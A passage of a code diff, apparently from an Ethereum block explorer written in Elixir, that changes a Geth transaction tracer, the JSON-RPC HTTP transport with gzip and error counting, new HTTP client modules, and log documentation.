"createdContractAddressHash" => contract_address, + "createdContractCode" => "0x" <> return_value + } + end + |> Map.merge(%{ + "from" => from, + "traceAddress" => [], + "value" => value, + "gas" => 0, + "gasUsed" => 0 + }) + + ctx = %{ + depth: 1, + stack: [top], + trace_address: [0], + calls: [[]], + descended: false + } + + logs + |> Enum.reduce(ctx, &step/2) + |> finalize(top_call_gas) + end + + defp step(%{"error" => _}, %{stack: [%{"error" => _} | _]} = ctx), do: ctx + + defp step( + %{"error" => _} = log, + %{ + depth: stack_depth, + stack: [call | stack], + trace_address: [_, trace_index | trace_address], + calls: [subsubcalls, subcalls | calls] + } = ctx + ) do + call = process_return(log, Map.put(call, "error", "error")) + + subsubcalls = + subsubcalls + |> Stream.map(fn + subcalls when is_list(subcalls) -> subcalls + subcall when is_map(subcall) -> %{subcall | "from" => call["createdContractAddressHash"] || call["to"]} + end) + |> Enum.reverse() + + %{ + ctx + | depth: stack_depth - 1, + stack: stack, + trace_address: [trace_index + 1 | trace_address], + calls: [[subsubcalls, call | subcalls] | calls] + } + end + + defp step( + %{"gas" => log_gas} = log, + %{ + stack: [%{"gas" => call_gas} = call | stack], + descended: true + } = ctx + ) do + gas = max(call_gas, log_gas) + call = %{call | "gas" => gas} + step(log, %{ctx | stack: [call | stack], descended: false}) + end + + defp step( + %{"depth" => log_depth} = log, + %{ + depth: stack_depth, + stack: [call | stack], + trace_address: [_, trace_index | trace_address], + calls: [subsubcalls, subcalls | calls] + } = ctx + ) + when log_depth == stack_depth - 1 do + call = process_return(log, call) + + subsubcalls = + subsubcalls + |> Stream.map(fn + subcalls when is_list(subcalls) -> subcalls + subcall when is_map(subcall) -> %{subcall | "from" => call["createdContractAddressHash"] || call["to"]} + end) + |> Enum.reverse() + + step(log, %{ + ctx + | depth: stack_depth - 1, + stack: stack, + trace_address: [trace_index + 1 | trace_address], + calls: [[subsubcalls, call | subcalls] | calls] + }) + end + + defp step(%{"gas" => log_gas, "gasCost" => log_gas_cost} = log, %{stack: [%{"gas" => call_gas} = call | stack]} = ctx) do + gas = max(call_gas, log_gas) + op(log, %{ctx | stack: [%{call | "gas" => gas, "gasUsed" => gas - log_gas - log_gas_cost} | stack]}) + end + + defp op(%{"op" => "CREATE"} = log, ctx), do: create_op(log, ctx) + defp op(%{"op" => "CREATE2"} = log, ctx), do: create_op(log, ctx, "create2") + defp op(%{"op" => "SELFDESTRUCT"} = log, ctx), do: self_destruct_op(log, ctx) + defp op(%{"op" => "CALL"} = log, ctx), do: call_op(log, "call", ctx) + defp op(%{"op" => "CALLCODE"} = log, ctx), do: call_op(log, "callcode", ctx) + defp op(%{"op" => "DELEGATECALL"} = log, ctx), do: call_op(log, "delegatecall", ctx) + defp op(%{"op" => "STATICCALL"} = log, ctx), do: call_op(log, "staticcall", ctx) + defp op(%{"op" => "REVERT"}, ctx), do: revert_op(ctx) + defp op(_, ctx), do: ctx + + defp process_return( + %{"stack" => log_stack}, + %{"type" => create} = call + ) + when create in ~w(create create2) do + [ret | _] = Enum.reverse(log_stack) + + ret + |> quantity_to_integer() + |> case do + 0 -> + Map.put(call, "error", call["error"] || "internal failure") + + _ -> + %{call | "createdContractAddressHash" => ret} + end + end + + defp process_return( + %{"stack" => log_stack, "memory" => log_memory}, + %{"outputOffset" => out_off, "outputLength" => out_len} = call + ) do + [ret | _] = Enum.reverse(log_stack) + + ret + |> quantity_to_integer() + |> case do + 0 -> + Map.put(call, "error", call["error"] || "internal failure") + + _ -> + output = + log_memory + |> IO.iodata_to_binary() + |> String.slice(out_off, out_len) + + %{call | "output" => "0x" <> output} + end + |> Map.drop(["outputOffset", "outputLength"]) + end + + defp process_return(_log, call) do + call + end + + defp create_op( + %{"stack" => log_stack, "memory" => log_memory}, + %{depth: stack_depth, stack: stack, trace_address: trace_address, calls: calls} = ctx, + type \\ "create" + ) do + [value, input_length | _] = Enum.reverse(log_stack) + + init = + log_memory + |> IO.iodata_to_binary() + |> String.slice(0, quantity_to_integer(input_length) * 2) + + call = %{ + "type" => type, + "from" => nil, + "traceAddress" => Enum.reverse(trace_address), + "init" => "0x" <> init, + "gas" => 0, + "gasUsed" => 0, + "value" => value, + "createdContractAddressHash" => nil, + "createdContractCode" => "0x" + } + + %{ + ctx + | depth: stack_depth + 1, + stack: [call | stack], + trace_address: [0 | trace_address], + calls: [[] | calls], + descended: true + } + end + + defp self_destruct_op( + %{"stack" => log_stack, "gas" => log_gas, "gasCost" => log_gas_cost}, + %{trace_address: [trace_index | trace_address], calls: [subcalls | calls]} = ctx + ) do + [to | _] = Enum.reverse(log_stack) + + if quantity_to_integer(to) in 1..8 do + ctx + else + call = %{ + "type" => "selfdestruct", + "from" => nil, + "to" => to, + "traceAddress" => Enum.reverse([trace_index | trace_address]), + "gas" => log_gas, + "gasUsed" => log_gas_cost, + "value" => "0x0" + } + + %{ctx | trace_address: [trace_index + 1 | trace_address], calls: [[call | subcalls] | calls]} + end + end + + defp call_op( + %{"stack" => call_stack}, + call_type, + %{ + depth: stack_depth, + stack: stack, + trace_address: trace_address, + calls: calls + } = ctx + ) + when length(call_stack) < 3 do + call = %{ + "type" => "call", + "callType" => call_type, + "from" => nil, + "to" => @burn_address, + "traceAddress" => Enum.reverse(trace_address), + "input" => "0x", + "output" => "0x", + "outputOffset" => 0, + "outputLength" => 0, + "gas" => 0, + "gasUsed" => 0, + "value" => "0x0" + } + + %{ + ctx + | depth: stack_depth + 1, + stack: [call | stack], + trace_address: [0 | trace_address], + calls: [[] | calls], + descended: true + } + end + + defp call_op( + %{"stack" => log_stack, "memory" => log_memory}, + call_type, + %{ + depth: stack_depth, + stack: [%{"value" => parent_value} = parent | stack], + trace_address: trace_address, + calls: calls + } = ctx + ) do + [_, to | log_stack] = Enum.reverse(log_stack) + + {value, [input_length, output_length | _]} = + case call_type do + "delegatecall" -> + {parent_value, log_stack} + + "staticcall" -> + {"0x0", log_stack} + + _ -> + [value | rest] = log_stack + {value, rest} + end + + input = + log_memory + |> IO.iodata_to_binary() + |> String.slice(0, quantity_to_integer(input_length || 0) * 2) + + call = %{ + "type" => "call", + "callType" => call_type, + "from" => nil, + "to" => to, + "traceAddress" => Enum.reverse(trace_address), + "input" => "0x" <> input, + "output" => "0x", + "outputOffset" => quantity_to_integer(input_length) * 2, + "outputLength" => quantity_to_integer(output_length) * 2, + "gas" => 0, + "gasUsed" => 0, + "value" => value + } + + %{ + ctx + | depth: stack_depth + 1, + stack: [call, parent | stack], + trace_address: [0 | trace_address], + calls: [[] | calls], + descended: true + } + end + + defp revert_op(%{stack: [last | stack]} = ctx) do + %{ctx | stack: [Map.put(last, "error", "execution reverted") | stack]} + end + + defp finalize(%{stack: [top], calls: [calls]}, top_call_gas) do + calls = + Enum.map(calls, fn + subcalls when is_list(subcalls) -> + subcalls + + subcall when is_map(subcall) -> + %{subcall | "from" => top["createdContractAddressHash"] || top["to"]} + end) + + [%{top | "gasUsed" => top_call_gas} | Enum.reverse(calls)] + |> List.flatten() + |> Enum.map(fn %{"gas" => gas, "gasUsed" => gas_used} = call -> + %{call | "gas" => integer_to_quantity(gas), "gasUsed" => gas_used |> max(0) |> integer_to_quantity()} + end) + end +end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/geth/tracer.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/geth/tracer.ex index cbc43fa71dce..cc17cc1cb00d 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/geth/tracer.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/geth/tracer.ex @@ -6,9 +6,14 @@ defmodule EthereumJSONRPC.Geth.Tracer do import EthereumJSONRPC, only: [integer_to_quantity: 1, quantity_to_integer: 1] - def replay(%{"structLogs" => logs} = result, receipt, tx) when is_list(logs) do + def replay( + %{"structLogs" => logs, "gas" => top_call_gas, "returnValue" => return_value} = result, + receipt, + transaction + ) + when is_list(logs) do %{"contractAddress" => contract_address} = receipt - %{"from" => from, "to" => to, "value" => value, "input" => input} = tx + %{"from" => from, "to" => to, "value" => value, "input" => input} = transaction top = to @@ -25,7 +30,7 @@ defmodule EthereumJSONRPC.Geth.Tracer do "type" => "create", "init" => input, "createdContractAddressHash" => contract_address, - "createdContractCode" => "0x" + "createdContractCode" => "0x" <> return_value } end |> Map.merge(%{ @@ -40,12 +45,13 @@ defmodule EthereumJSONRPC.Geth.Tracer do depth: 1, stack: [top], trace_address: [0], - calls: [[]] + calls: [[]], + descended: false } logs |> Enum.reduce(ctx, &step/2) - |> finalize() + |> finalize(top_call_gas) end defp step(%{"error" => _}, %{stack: [%{"error" => _} | _]} = ctx), do: ctx @@ -78,6 +84,18 @@ defmodule EthereumJSONRPC.Geth.Tracer do } end + defp step( + %{"gas" => log_gas} = log, + %{ + stack: [%{"gas" => call_gas} = call | stack], + descended: true + } = ctx + ) do + gas = max(call_gas, log_gas) + call = %{call | "gas" => gas} + step(log, %{ctx | stack: [call | stack], descended: false}) + end + defp step( %{"depth" => log_depth} = log, %{ @@ -122,13 +140,28 @@ defmodule EthereumJSONRPC.Geth.Tracer do defp op(%{"op" => "REVERT"}, ctx), do: revert_op(ctx) defp op(_, ctx), do: ctx - defp process_return(%{"stack" => log_stack}, %{"type" => "create"} = call) do + defp process_return( + %{"stack" => log_stack, "memory" => log_memory}, + %{"type" => create, "outputOffset" => out_off, "outputLength" => out_len} = call + ) + when create in ~w(create create2) do [ret | _] = Enum.reverse(log_stack) - case quantity_to_integer(ret) do - 0 -> Map.put(call, "error", call["error"] || "internal failure") - _ -> %{call | "createdContractAddressHash" => "0x" <> String.slice(ret, 24, 40)} + ret + |> quantity_to_integer() + |> case do + 0 -> + Map.put(call, "error", call["error"] || "internal failure") + + _ -> + output = + log_memory + |> IO.iodata_to_binary() + |> String.slice(out_off, out_len) + + %{call | "createdContractCode" => "0x" <> output, "createdContractAddressHash" => ret} end + |> Map.drop(["outputOffset", "outputLength"]) end defp process_return( @@ -159,12 +192,12 @@ defmodule EthereumJSONRPC.Geth.Tracer do %{depth: stack_depth, stack: stack, trace_address: trace_address, calls: calls} = ctx, type \\ "create" ) do - [value, input_offset, input_length | _] = Enum.reverse(log_stack) + [value, input_offset, input_length, output_offset, output_length | _] = Enum.reverse(log_stack) init = log_memory |> IO.iodata_to_binary() - |> String.slice(quantity_to_integer("0x" <> input_offset) * 2, quantity_to_integer("0x" <> input_length) * 2) + |> String.slice(quantity_to_integer(input_offset) * 2, quantity_to_integer(input_length) * 2) call = %{ "type" => type, @@ -173,7 +206,9 @@ defmodule EthereumJSONRPC.Geth.Tracer do "init" => "0x" <> init, "gas" => 0, "gasUsed" => 0, - "value" => "0x" <> value, + "value" => value, + "outputOffset" => quantity_to_integer(output_offset) * 2, + "outputLength" => quantity_to_integer(output_length) * 2, "createdContractAddressHash" => nil, "createdContractCode" => "0x" } @@ -183,7 +218,8 @@ defmodule EthereumJSONRPC.Geth.Tracer do | depth: stack_depth + 1, stack: [call | stack], trace_address: [0 | trace_address], - calls: [[] | calls] + calls: [[] | calls], + descended: true } end @@ -199,7 +235,7 @@ defmodule EthereumJSONRPC.Geth.Tracer do call = %{ "type" => "selfdestruct", "from" => nil, - "to" => "0x" <> String.slice(to, 24, 40), + "to" => to, "traceAddress" => Enum.reverse([trace_index | trace_address]), "gas" => log_gas, "gasUsed" => log_gas_cost, @@ -232,24 +268,24 @@ defmodule EthereumJSONRPC.Geth.Tracer do _ -> [value | rest] = log_stack - {"0x" <> value, rest} + {value, rest} end input = log_memory |> IO.iodata_to_binary() - |> String.slice(quantity_to_integer("0x" <> input_offset) * 2, quantity_to_integer("0x" <> input_length) * 2) + |> String.slice(quantity_to_integer(input_offset) * 2, quantity_to_integer(input_length) * 2) call = %{ "type" => "call", "callType" => call_type, "from" => nil, - "to" => "0x" <> String.slice(to, 24, 40), + "to" => to, "traceAddress" => Enum.reverse(trace_address), "input" => "0x" <> input, "output" => "0x", - "outputOffset" => quantity_to_integer("0x" <> output_offset) * 2, - "outputLength" => quantity_to_integer("0x" <> output_length) * 2, + "outputOffset" => quantity_to_integer(output_offset) * 2, + "outputLength" => quantity_to_integer(output_length) * 2, "gas" => 0, "gasUsed" => 0, "value" => value @@ -260,7 +296,8 @@ defmodule EthereumJSONRPC.Geth.Tracer do | depth: stack_depth + 1, stack: [call, parent | stack], trace_address: [0 | trace_address], - calls: [[] | calls] + calls: [[] | calls], + descended: true } end @@ -268,14 +305,14 @@ defmodule EthereumJSONRPC.Geth.Tracer do %{ctx | stack: [Map.put(last, "error", "execution reverted") | stack]} end - defp finalize(%{stack: [top], calls: [calls]}) do + defp finalize(%{stack: [top], calls: [calls]}, top_call_gas) do calls = Enum.map(calls, fn subcalls when is_list(subcalls) -> subcalls subcall when is_map(subcall) -> %{subcall | "from" => top["createdContractAddressHash"] || top["to"]} end) - [top | Enum.reverse(calls)] + [%{top | "gasUsed" => top_call_gas} | Enum.reverse(calls)] |> List.flatten() |> Enum.map(fn %{"gas" => gas, "gasUsed" => gas_used} = call -> %{call | "gas" => integer_to_quantity(gas), "gasUsed" => integer_to_quantity(gas_used)} diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/http.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/http.ex index b8222df2d13e..92fc0753c3f4 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/http.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/http.ex @@ -3,18 +3,19 @@ defmodule EthereumJSONRPC.HTTP do JSONRPC over HTTP """ - alias EthereumJSONRPC.Transport + alias EthereumJSONRPC.{DecodeError, Transport} + alias EthereumJSONRPC.Utility.{CommonHelper, EndpointAvailabilityObserver} require Logger - import EthereumJSONRPC, only: [quantity_to_integer: 1] + import EthereumJSONRPC, only: [sanitize_id: 1] @behaviour Transport @doc """ Sends JSONRPC request encoded as `t:iodata/0` to `url` with `options` """ - @callback json_rpc(url :: String.t(), json :: iodata(), options :: term()) :: + @callback json_rpc(url :: String.t(), json :: iodata(), headers :: [{String.t(), String.t()}], options :: term()) :: {:ok, %{body: body :: String.t(), status_code: status_code :: pos_integer()}} | {:error, reason :: term} @@ -23,15 +24,25 @@ defmodule EthereumJSONRPC.HTTP do def json_rpc(%{method: method} = request, options) when is_map(request) do json = encode_json(request) http = Keyword.fetch!(options, :http) - url = url(options, method) + {url_type, url} = url(options, method) http_options = Keyword.fetch!(options, :http_options) - with {:ok, %{body: body, status_code: code}} <- http.json_rpc(url, json, http_options), - {:ok, json} <- decode_json(request: [url: url, body: json], response: [status_code: code, body: body]) do - handle_response(json, code) + with {:ok, %{body: body, status_code: code}} <- http.json_rpc(url, json, headers(), http_options), + {:ok, json} <- + decode_json(request: [url: url, body: json, headers: headers()], response: [status_code: code, body: body]), + {:ok, response} <- handle_response(json, code) do + {:ok, response} + else + error -> + increment_error_count(url, url_type, options) + error end end + def json_rpc([batch | _] = chunked_batch_request, options) when is_list(batch) do + chunked_json_rpc(chunked_batch_request, options, []) + end + def json_rpc(batch_request, options) when is_list(batch_request) do chunked_json_rpc([batch_request], options, []) end @@ -55,25 +66,33 @@ defmodule EthereumJSONRPC.HTTP do defp chunked_json_rpc([[%{method: method} | _] = batch | tail] = chunks, options, decoded_response_bodies) when is_list(tail) and is_list(decoded_response_bodies) do http = Keyword.fetch!(options, :http) - url = url(options, method) + {url_type, url} = url(options, method) http_options = Keyword.fetch!(options, :http_options) json = encode_json(batch) - case http.json_rpc(url, json, http_options) do + case http.json_rpc(url, json, headers(), http_options) do {:ok, %{status_code: status_code} = response} when status_code in [413, 504] -> rechunk_json_rpc(chunks, options, response, decoded_response_bodies) {:ok, %{body: body, status_code: status_code}} -> - with {:ok, decoded_body} <- - decode_json(request: [url: url, body: json], response: [status_code: status_code, body: body]) do - chunked_json_rpc(tail, options, [decoded_body | decoded_response_bodies]) + case decode_json( + request: [url: url, body: json, headers: headers()], + response: [status_code: status_code, body: body] + ) do + {:ok, decoded_body} -> + chunked_json_rpc(tail, options, [decoded_body | decoded_response_bodies]) + + error -> + increment_error_count(url, url_type, options) + error end {:error, :timeout} -> rechunk_json_rpc(chunks, options, :timeout, decoded_response_bodies) {:error, _} = error -> + increment_error_count(url, url_type, options) error end end @@ -82,10 +101,21 @@ defmodule EthereumJSONRPC.HTTP do case length(batch) do # it can't be made any smaller 1 -> + old_truncate = Application.get_env(:logger, :truncate) + Logger.configure(truncate: :infinity) + Logger.error(fn -> - "413 Request Entity Too Large returned from single request batch. Cannot shrink batch further." + [ + "413 Request Entity Too Large returned from single request batch. Cannot shrink batch further. ", + "The actual batched request was ", + "#{inspect(batch)}. ", + "The actual response of the method was ", + "#{inspect(response)}." + ] end) + Logger.configure(truncate: old_truncate) + {:error, response} batch_size -> @@ -114,7 +144,17 @@ defmodule EthereumJSONRPC.HTTP do {:error, {:bad_gateway, request_url}} _ -> - raise EthereumJSONRPC.DecodeError, named_arguments + named_arguments + |> DecodeError.exception() + |> DecodeError.message() + |> Logger.error() + + request_url = + named_arguments + |> Keyword.fetch!(:request) + |> Keyword.fetch!(:url) + + {:error, {:bad_response, request_url}} end end end @@ -130,29 +170,73 @@ defmodule EthereumJSONRPC.HTTP do {:error, resp} end - # restrict response to only those fields supported by the JSON-RPC 2.0 standard, which means that level of keys is - # validated, so we can indicate that with switch to atom keys. - def standardize_response(%{"jsonrpc" => "2.0" = jsonrpc, "id" => id} = unstandardized) do + defp increment_error_count(url, url_type, options) do + named_arguments = [transport: __MODULE__, transport_options: Keyword.delete(options, :method_to_url)] + EndpointAvailabilityObserver.inc_error_count(url, named_arguments, url_type) + end + + @doc """ + Standardizes responses to adhere to the JSON-RPC 2.0 standard. + + This function adjusts responses to conform to JSON-RPC 2.0, ensuring the keys are atom-based + and that 'id', 'jsonrpc', 'result', and 'error' fields meet the protocol's requirements. + It also validates the mutual exclusivity of 'result' and 'error' fields within a response. + + ## Parameters + - `unstandardized`: A map representing the response with string keys. + + ## Returns + - A standardized map with atom keys and fields aligned with the JSON-RPC 2.0 standard, including + handling of possible mutual exclusivity errors between 'result' and 'error' fields. + """ + @spec standardize_response(map()) :: %{ + :id => nil | non_neg_integer(), + :jsonrpc => binary(), + optional(:error) => %{:code => integer(), :message => binary(), optional(:data) => any()}, + optional(:result) => any() + } + def standardize_response(%{"jsonrpc" => "2.0" = jsonrpc} = unstandardized) do + # Avoid extracting `id` directly in the function declaration. Some endpoints + # do not adhere to standards and may omit the `id` in responses related to + # error scenarios. Consequently, the function call would fail during input + # argument matching. + # Nethermind return string ids - id = quantity_to_integer(id) + id = sanitize_id(unstandardized["id"]) standardized = %{jsonrpc: jsonrpc, id: id} - case unstandardized do - %{"result" => _, "error" => _} -> + case {id, unstandardized} do + {_id, %{"result" => _, "error" => _}} -> raise ArgumentError, "result and error keys are mutually exclusive in JSONRPC 2.0 response objects, but got #{inspect(unstandardized)}" - %{"result" => result} -> + {nil, %{"result" => error}} -> + Map.put(standardized, :error, standardize_error(error)) + + {_id, %{"result" => result}} -> Map.put(standardized, :result, result) - %{"error" => error} -> + {_id, %{"error" => error}} -> Map.put(standardized, :error, standardize_error(error)) end end - # restrict error to only those fields supported by the JSON-RPC 2.0 standard, which means that level of keys is - # validated, so we can indicate that with switch to atom keys. + @doc """ + Standardizes error responses to adhere to the JSON-RPC 2.0 standard. + + This function converts a map containing error information into a format compliant + with the JSON-RPC 2.0 specification. It ensures the keys are atom-based and checks + for the presence of optional 'data' field, incorporating it if available. + + ## Parameters + - `unstandardized`: A map representing the error with string keys: "code", "message" + and "data" (optional). + + ## Returns + - A standardized map with keys as atoms and fields aligned with the JSON-RPC 2.0 standard. + """ + @spec standardize_error(map()) :: %{:code => integer(), :message => binary(), optional(:data) => any()} def standardize_error(%{"code" => code, "message" => message} = unstandardized) when is_integer(code) and is_binary(message) do standardized = %{code: code, message: message} @@ -166,10 +250,11 @@ defmodule EthereumJSONRPC.HTTP do defp url(options, method) when is_list(options) and is_binary(method) do with {:ok, method_to_url} <- Keyword.fetch(options, :method_to_url), {:ok, method_atom} <- to_existing_atom(method), - {:ok, url} <- Keyword.fetch(method_to_url, method_atom) do - url + {:ok, url_type} <- Keyword.fetch(method_to_url, method_atom) do + {url_type, CommonHelper.get_available_url(options, url_type)} else - _ -> Keyword.fetch!(options, :url) + _ -> + {:http, CommonHelper.get_available_url(options, :http)} end end @@ -179,4 +264,17 @@ defmodule EthereumJSONRPC.HTTP do ArgumentError -> :error end + + defp headers do + gzip_enabled? = Application.get_env(:ethereum_jsonrpc, __MODULE__)[:gzip_enabled?] + + additional_headers = + if gzip_enabled? do + [{"Accept-Encoding", "gzip"}] + else + [] + end + + Application.get_env(:ethereum_jsonrpc, __MODULE__)[:headers] ++ additional_headers + end end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/http/helper.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/http/helper.ex new file mode 100644 index 000000000000..7817b679ffa6 --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/http/helper.ex @@ -0,0 +1,85 @@ +defmodule EthereumJSONRPC.HTTP.Helper do + @moduledoc """ + Helper functions for `EthereumJSONRPC.HTTP` implementations. + """ + + @doc """ + Extracts the JSON-RPC method from a JSON string payload. + + Supports both single objects and batch requests (arrays). + + ## Parameters + - `json_string`: The JSON string to parse + + ## Returns + - The method name as a binary, or `{:error, Jason.DecodeError.t()}` if extraction fails + """ + @spec get_method_from_json_string(binary()) :: binary() | {:error, Jason.DecodeError.t()} + def get_method_from_json_string(json_string) do + with {:ok, decoded_json} <- Jason.decode(json_string) do + if is_map(decoded_json) do + Map.get(decoded_json, "method") + else + decoded_json |> Enum.at(0) |> Map.get("method") + end + end + end + + @spec response_body_has_error?(map() | [map()]) :: boolean() + def response_body_has_error?(decoded_body) when is_map(decoded_body) do + Map.has_key?(decoded_body, "error") + end + + def response_body_has_error?(decoded_body) when is_list(decoded_body) do + Enum.any?(decoded_body, &response_body_has_error?/1) + end + + def response_body_has_error?(_decoded_body), do: false + + @doc """ + Conditionally decompresses gzip-encoded HTTP response bodies. + + Checks application configuration and HTTP headers to determine if decompression + should be attempted. + + ## Parameters + - `body`: The response body to potentially decompress + - `headers`: List of HTTP response headers as {key, value} tuples + + ## Returns + - Decompressed body if gzip-enabled and content is gzipped, otherwise original body + """ + @spec try_unzip(binary(), [{binary(), binary()}]) :: binary() + def try_unzip(body, headers) do + gzip_enabled? = Application.get_env(:ethereum_jsonrpc, EthereumJSONRPC.HTTP)[:gzip_enabled?] + + if gzip_enabled? do + do_unzip(body, headers) + else + body + end + end + + defp do_unzip(body, headers) do + gzipped = + Enum.any?( + headers + |> Enum.map(fn {k, v} -> + {String.downcase(k), String.downcase(v)} + end), + fn kv -> + case kv do + {"content-encoding", "gzip"} -> true + {"content-encoding", "x-gzip"} -> true + _ -> false + end + end + ) + + if gzipped do + :zlib.gunzip(body) + else + body + end + end +end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/http/httpoison.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/http/httpoison.ex index c3e466419eee..abc04c7bde7d 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/http/httpoison.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/http/httpoison.ex @@ -4,19 +4,33 @@ defmodule EthereumJSONRPC.HTTP.HTTPoison do """ alias EthereumJSONRPC.HTTP + alias EthereumJSONRPC.HTTP.Helper + alias EthereumJSONRPC.Prometheus.Instrumenter + alias Utils.HttpClient.HTTPoisonHelper @behaviour HTTP @impl HTTP - def json_rpc(url, json, options) when is_binary(url) and is_list(options) do - case HTTPoison.post(url, json, [{"Content-Type", "application/json"}], options) do - {:ok, %HTTPoison.Response{body: body, status_code: status_code}} -> - {:ok, %{body: body, status_code: status_code}} + def json_rpc(url, json, headers, options) when is_binary(url) and is_list(options) do + method = Helper.get_method_from_json_string(json) + + Instrumenter.json_rpc_requests(method) + + case HTTPoison.post(url, json, headers, HTTPoisonHelper.request_opts(options)) do + {:ok, %HTTPoison.Response{body: body, status_code: status_code, headers: headers}} -> + with {:ok, decoded_body} <- Jason.decode(body), + true <- Helper.response_body_has_error?(decoded_body) do + Instrumenter.json_rpc_errors(method) + end + + {:ok, %{body: Helper.try_unzip(body, headers), status_code: status_code}} {:error, %HTTPoison.Error{reason: reason}} -> + Instrumenter.json_rpc_errors(method) + {:error, reason} end end - def json_rpc(url, _json, _options) when is_nil(url), do: {:error, "URL is nil"} + def json_rpc(url, _json, _headers, _options) when is_nil(url), do: {:error, "URL is nil"} end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/http/tesla.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/http/tesla.ex new file mode 100644 index 000000000000..4db01c3df862 --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/http/tesla.ex @@ -0,0 +1,36 @@ +defmodule EthereumJSONRPC.HTTP.Tesla do + @moduledoc """ + Uses `Tesla.Mint` for `EthereumJSONRPC.HTTP` + """ + + alias EthereumJSONRPC.HTTP + alias EthereumJSONRPC.HTTP.Helper + alias EthereumJSONRPC.Prometheus.Instrumenter + alias Utils.HttpClient.TeslaHelper + + @behaviour HTTP + + @impl HTTP + def json_rpc(url, json, headers, options) when is_binary(url) and is_list(options) do + method = Helper.get_method_from_json_string(json) + + Instrumenter.json_rpc_requests(method) + + case Tesla.post(TeslaHelper.client(options), url, json, headers: headers, opts: TeslaHelper.request_opts(options)) do + {:ok, %Tesla.Env{body: body, status: status_code, headers: headers}} -> + with {:ok, decoded_body} <- Jason.decode(body), + true <- Helper.response_body_has_error?(decoded_body) do + Instrumenter.json_rpc_errors(method) + end + + {:ok, %{body: Helper.try_unzip(body, headers), status_code: status_code}} + + {:error, error} -> + Instrumenter.json_rpc_errors(method) + + {:error, error} + end + end + + def json_rpc(url, _json, _headers, _options) when is_nil(url), do: {:error, "URL is nil"} +end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/ipc.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/ipc.ex index 7f1ff401b053..b030a6abf35c 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/ipc.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/ipc.ex @@ -84,7 +84,6 @@ defmodule EthereumJSONRPC.IPC do else {:error, %Jason.DecodeError{data: ""}} -> {:error, :empty_response} {:error, error} -> {:error, {:invalid_json, error}} - {:error, error} -> {:error, error} end end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/log.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/log.ex index e89ce75b9797..7e7ace5b2a57 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/log.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/log.ex @@ -1,7 +1,7 @@ defmodule EthereumJSONRPC.Log do @moduledoc """ Log included in return from - [`eth_getTransactionReceipt`](https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_gettransactionreceipt). + [`eth_getTransactionReceipt`](https://github.com/ethereum/wiki/wiki/JSON-RPC/e8e0771b9f3677693649d945956bc60e886ceb2b#eth_gettransactionreceipt). """ import EthereumJSONRPC, only: [quantity_to_integer: 1] @@ -13,7 +13,7 @@ defmodule EthereumJSONRPC.Log do * `"blockHash"` - `t:EthereumJSONRPC.hash/0` of the block this transaction is in. * `"blockNumber"` - `t:EthereumJSONRPC.quantity/0` for the block number this transaction is in. * `"data"` - Data containing non-indexed log parameter - * `"logIndex"` - `t:EthereumJSONRPC.quantity/0` of the event index positon in the block. + * `"logIndex"` - `t:EthereumJSONRPC.quantity/0` of the event index position in the block. * `"topics"` - `t:list/0` of at most 4 32-byte topics. Topic 1-3 contains indexed parameters of the log. * `"transactionHash"` - `t:EthereumJSONRPC.hash/0` of the transaction * `"transactionIndex"` - `t:EthereumJSONRPC.quantity/0` for the index of the transaction in the block. @@ -33,8 +33,7 @@ defmodule EthereumJSONRPC.Log do ...> "topics" => ["0x600bcf04a13e752d1e3670a5a9f1c21177ca2a93c6f5391d4f1298d098097c22"], ...> "transactionHash" => "0x53bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e5", ...> "transactionIndex" => 0, - ...> "transactionLogIndex" => 0, - ...> "type" => "mined" + ...> "transactionLogIndex" => 0 ...> } ...> ) %{ @@ -48,11 +47,9 @@ defmodule EthereumJSONRPC.Log do second_topic: nil, third_topic: nil, transaction_hash: "0x53bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e5", - type: "mined" + transaction_index: 0 } - Geth does not supply a `"type"` - iex> EthereumJSONRPC.Log.elixir_to_params( ...> %{ ...> "address" => "0xda8b3276cde6d768a44b9dac659faa339a41ac55", @@ -78,7 +75,8 @@ defmodule EthereumJSONRPC.Log do index: 0, second_topic: "0x000000000000000000000000c15bf627accd3b054075c7880425f903106be72a", third_topic: "0x000000000000000000000000a59eb37750f9c8f2e11aac6700e62ef89187e4ed", - transaction_hash: "0xf9b663b4e9b1fdc94eb27b5cfba04eb03d2f7b3fa0b24eb2e1af34f823f2b89e" + transaction_hash: "0xf9b663b4e9b1fdc94eb27b5cfba04eb03d2f7b3fa0b24eb2e1af34f823f2b89e", + transaction_index: 0 } """ @@ -91,7 +89,7 @@ defmodule EthereumJSONRPC.Log do "logIndex" => index, "topics" => topics, "transactionHash" => transaction_hash - } = elixir + } = log ) do %{ address_hash: address_hash, @@ -99,10 +97,10 @@ defmodule EthereumJSONRPC.Log do block_hash: block_hash, data: data, index: index, - transaction_hash: transaction_hash + 